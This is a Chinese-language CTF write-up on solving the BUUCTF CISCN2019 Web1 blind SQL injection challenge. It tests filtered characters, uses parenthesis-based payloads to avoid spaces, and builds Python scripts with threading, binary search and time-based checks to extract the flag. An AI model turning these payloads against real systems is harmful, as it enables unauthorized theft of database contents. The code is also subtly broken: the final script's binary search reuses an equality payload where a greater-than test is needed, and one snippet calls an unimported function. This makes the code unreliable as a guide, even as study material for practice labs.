手把手教你用Python脚本高效破解BUUCTF盲注题
在CTF竞赛中,SQL注入一直是Web安全方向的高频考点。面对复杂的过滤机制和盲注环境,如何快速编写自动化脚本成为解题关键。本文将以CISCN2019华北赛区Web1题目为例,从手工测试到脚本编写,详细拆解盲注题的完整破解流程。
1. 理解题目与手工测试
首先访问题目环境,发现是一个简单的查询接口,通过POST传递id参数。手工测试几个常见注入字符后,页面返回"Length=482"的提示,说明存在过滤机制。
常见被过滤字符测试结果:
| 输入字符 | 返回结果 | 结论 |
|---|---|---|
| 空格 | Length=482 | 被过滤 |
| 单引号 | Length=482 | 被过滤 |
| 双引号 | 正常返回 | 未被过滤 |
| and | Length=482 | 被过滤 |
| or | Length=482 | 被过滤 |
| 注释符 | Length=482 | 被过滤 |
通过测试发现,几乎所有SQL注入常用字符都被过滤,但括号()可以正常使用。这提示我们可以用括号替代空格构造payload。
2. 盲注原理与绕过技巧
在传统SQL注入中,空格是分隔关键词的重要字符。当空格被过滤时,可以考虑以下替代方案:
- 使用括号包裹语句:
(select(flag)from(flag)) - 使用注释内联:
/*!select*/flag/*!from*/flag - 使用换行符或制表符
在本题目中,括号是最有效的绕过方式。盲注的核心原理是通过布尔条件判断,逐步推断出flag的每个字符。
盲注payload结构示例:
id=(select(ascii(mid(flag,1,1))=102)from(flag))这个payload的意思是:判断flag字段第一个字符的ASCII码是否等于102(即字母'f')。
3. Python自动化脚本编写
手工测试确认注入点后,接下来编写自动化脚本。我们将使用Python的requests库实现自动化请求。
3.1 基础脚本框架
首先搭建脚本的基本结构:
import requests import string def blind_injection(url): flag = '' chars = string.printable # 所有可打印字符 for position in range(1, 60): # 假设flag长度不超过60 for char in chars: payload = construct_payload(position, char) if test_char(url, payload): flag += char print(f"Found: {flag}") break return flag if __name__ == '__main__': target_url = 'http://example.com/index.php' flag = blind_injection(target_url) print(f"Final flag: {flag}")3.2 构造payload函数
根据题目特点,我们需要构造使用括号绕过的payload:
def construct_payload(position, char): ascii_val = ord(char) return f"(select(ascii(mid(flag,{position},1))={ascii_val})from(flag))"3.3 字符测试函数
通过观察发现,当条件为真时页面返回"Hello",否则返回其他内容:
def test_char(url, payload): data = {"id": payload} response = requests.post(url, data=data) return 'Hello' in response.text4. 脚本优化与加速
基础脚本虽然可用,但效率较低。我们可以从以下几个方面进行优化:
4.1 缩小字符范围
根据CTF flag格式通常以"flag{"开头,我们可以优先测试这些字符:
def get_char_priority(position): if position == 1: return 'f' if position == 2: return 'l' if position == 3: return 'a' if position == 4: return 'g' if position == 5: return '{' return string.printable4.2 多线程加速
使用多线程可以显著提高爆破速度:
from concurrent.futures import ThreadPoolExecutor def test_char_parallel(url, position, chars): with ThreadPoolExecutor(max_workers=10) as executor: futures = [] for char in chars: payload = construct_payload(position, char) futures.append(executor.submit(test_char, url, payload)) for future in as_completed(futures): if future.result(): return char return None4.3 二分查找优化
对于每个位置,可以使用二分查找代替线性搜索:
def find_char_binary(url, position): low, high = 32, 126 # 可打印ASCII范围 while low <= high: mid = (low + high) // 2 payload = f"(select(ascii(mid(flag,{position},1))>{mid})from(flag))" if test_char(url, payload): low = mid + 1 else: high = mid - 1 return chr(low)5. 完整优化脚本
结合以上优化点,最终的完整脚本如下:
import requests import string from concurrent.futures import ThreadPoolExecutor, as_completed def construct_payload(position, char=None, ascii_val=None): if char: ascii_val = ord(char) return f"(select(ascii(mid(flag,{position},1))={ascii_val})from(flag))" def test_char(url, payload): try: data = {"id": payload} response = requests.post(url, data=data, timeout=5) return 'Hello' in response.text except: return False def get_char_priority(position): if position == 1: return ['f'] if position == 2: return ['l'] if position == 3: return ['a'] if position == 4: return ['g'] if position == 5: return ['{'] return string.printable def blind_injection_optimized(url): flag = '' for position in range(1, 60): # 优先测试常见字符 priority_chars = get_char_priority(position) found = False for char in priority_chars: payload = construct_payload(position, char) if test_char(url, payload): flag += char print(f"Position {position}: {char} -> {flag}") found = True break if not found: # 使用二分查找 low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = construct_payload(position, ascii_val=mid) if test_char(url, payload): low = mid + 1 else: high = mid - 1 if low >= 32 and low <= 126: flag += chr(low) print(f"Position {position}: {chr(low)} -> {flag}") else: print(f"Failed at position {position}") break if flag.endswith('}'): break return flag if __name__ == '__main__': target_url = 'http://example.com/index.php' flag = blind_injection_optimized(target_url) print(f"Flag found: {flag}")6. 常见问题与调试技巧
在实际操作中,可能会遇到各种问题。以下是几个常见问题及解决方法:
问题1:请求超时或无响应
- 增加超时设置:
requests.post(url, timeout=10) - 添加重试机制:
from tenacity import retry, stop_after_attempt @retry(stop=stop_after_attempt(3)) def test_char_retry(url, payload): return test_char(url, payload)问题2:过滤规则变化
- 动态测试过滤字符:
def test_filter(url, char): payload = f"1{char}1" data = {"id": payload} response = requests.post(url, data=data) return "Length=482" not in response.text问题3:结果不稳定
- 添加结果验证:
def verify_char(url, position, char): payload1 = construct_payload(position, char) payload2 = construct_payload(position, ascii_val=ord(char)+1) return test_char(url, payload1) and not test_char(url, payload2)7. 扩展应用与思路
掌握盲注脚本编写技巧后,可以应用于更多场景:
- 时间盲注:当没有明显布尔回显时,通过响应时间判断
def test_time_based(url, payload): start = time.time() requests.post(url, data={"id": payload}) return time.time() - start > 2 # 假设延迟2秒为真- 多条件组合:处理更复杂的过滤规则
def bypass_and_filter(condition): return f"((1){condition})" # 用数学运算绕过AND过滤- 自动化工具集成:将脚本集成到sqlmap等工具中
在实际CTF比赛中,建议先手工测试确认注入点和过滤规则,再编写针对性脚本。同时注意题目可能有非预期解,保持灵活思维很重要。